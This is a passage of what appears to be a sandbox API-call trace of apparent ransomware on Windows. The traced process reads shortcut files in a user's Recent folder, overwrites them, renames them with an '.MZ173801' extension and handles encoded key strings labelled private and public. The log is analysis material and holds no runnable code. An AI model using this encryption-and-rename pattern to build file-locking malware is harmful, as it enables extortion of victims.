hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.998] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x592 [0150.999] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.999] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x592, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x592, lpOverlapped=0x0) returned 1 [0150.999] CloseHandle (hObject=0x280) returned 1 [0151.000] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oj2plkbc7rcn.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.002] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x592, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x592, lpOverlapped=0x0) returned 1 [0151.003] CloseHandle (hObject=0x280) returned 1 [0151.007] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oj2plkbc7rcn.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oj2PlKbc7rCn.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oj2plkbc7rcn.lnk.mz173801")) returned 1 [0151.008] GetCurrentThreadId () returned 0xab4 [0151.008] GetCurrentThreadId () returned 0xab4 [0151.008] GetCurrentThreadId () returned 0xab4 [0151.008] GetCurrentThreadId () returned 0xab4 [0151.008] GetCurrentThreadId () returned 0xab4 [0151.008] GetCurrentThreadId () returned 0xab4 [0151.008] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b9bbf2d, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b9bbf2d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b9bbf2d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oojSlrPVLmu.lnk", cAlternateFileName="OOJSLR~1.LNK")) returned 1 [0151.008] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.008] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oojslrpvlmu.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b9bbf2d, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b9bbf2d, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b9bbf2d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x28d)) returned 1 [0151.008] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oojslrpvlmu.lnk")) returned 0x20 [0151.008] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk", dwFileAttributes=0x80) returned 1 [0151.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0151.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0151.012] GetCurrentThreadId () returned 0xab4 [0151.012] GetCurrentThreadId () returned 0xab4 [0151.012] GetCurrentThreadId () returned 0xab4 [0151.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0151.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0151.013] GetCurrentThreadId () returned 0xab4 [0151.013] GetCurrentThreadId () returned 0xab4 [0151.013] GetCurrentThreadId () returned 0xab4 [0151.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oojslrpvlmu.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.013] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0151.013] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.013] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x28d [0151.013] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0151.013] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x28d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x28d, lpOverlapped=0x0) returned 1 [0151.141] CloseHandle (hObject=0x280) returned 1 [0151.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oojslrpvlmu.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0151.157] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x28d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x28d, lpOverlapped=0x0) returned 1 [0151.158] CloseHandle (hObject=0x280) returned 1 [0151.166] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oojslrpvlmu.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oojSlrPVLmu.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oojslrpvlmu.lnk.mz173801")) returned 1 [0151.167] GetCurrentThreadId () returned 0xab4 [0151.167] GetCurrentThreadId () returned 0xab4 [0151.167] GetCurrentThreadId () returned 0xab4 [0151.167] GetCurrentThreadId () returned 0xab4 [0151.167] GetCurrentThreadId () returned 0xab4 [0151.167] GetCurrentThreadId () returned 0xab4 [0151.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561f02ae, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x561f02ae, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x561f02ae, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="OTKm8-mOEk l8967aX.lnk", cAlternateFileName="OTKM8-~1.LNK")) returned 1 [0151.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0151.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0151.167] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otkm8-moek l8967ax.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x561f02ae, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x561f02ae, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x561f02ae, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x403)) returned 1 [0151.167] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otkm8-moek l8967ax.lnk")) returned 0x20 [0151.167] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OTKm8-mOEk l8967aX.lnk", dwFileAttributes=0x80) returned 1 [0151.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 